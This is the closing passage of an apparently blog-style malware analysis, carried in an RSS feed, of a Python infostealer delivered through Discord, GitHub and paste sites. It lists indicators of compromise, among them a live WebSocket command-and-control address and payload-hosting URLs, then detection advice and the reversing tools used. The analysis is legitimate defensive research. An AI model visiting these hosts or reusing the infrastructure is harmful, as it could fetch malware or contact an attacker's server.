&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;&lt;a href="https://idefasoft.com/pastes/2EiUfFx35K3p/raw/" rel="noopener noreferrer"&gt;https://idefasoft.com/pastes/2EiUfFx35K3p/raw/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/Lapresse-Hugo/MalwareDatabase" rel="noopener noreferrer"&gt;https://github.com/Lapresse-Hugo/MalwareDatabase&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket C2&lt;/td&gt;
&lt;td&gt;ws://195.211.190.107:8767&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;195.211.190.107&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  8. Detection &amp;amp; Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Detect disguised &lt;code&gt;.zip&lt;/code&gt; files with MZ headers&lt;/li&gt;
&lt;li&gt;Block outbound WebSocket to untrusted IPs&lt;/li&gt;
&lt;li&gt;Alert on suspicious PowerShell + scheduled task creation&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Tooling &amp;amp; Methodology
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Static: HxD, Detect It Easy&lt;/li&gt;
&lt;li&gt;Dynamic: tria.ge, Wireshark&lt;/li&gt;
&lt;li&gt;Unpacking: pyinstxtractor&lt;/li&gt;
&lt;li&gt;Decompiling: pycdc&lt;/li&gt;
&lt;li&gt;Scripting: Custom Python deobfuscator&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This analysis shows how social engineering and public infra (Discord, GitHub, Pastebin) combine to deliver Python-based infostealers with persistence, obfuscation, and stealth C2.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;PyInstaller malware reversing&lt;/li&gt;
&lt;li&gt;Base85 + XOR deobfuscation&lt;/li&gt;
&lt;li&gt;Triage + tooling workflow&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>malware</category>
      <category>infostealer</category>
      <category>python</category>
      <category>reverseengineering</category>
    </item>
  </channel>
</rss>
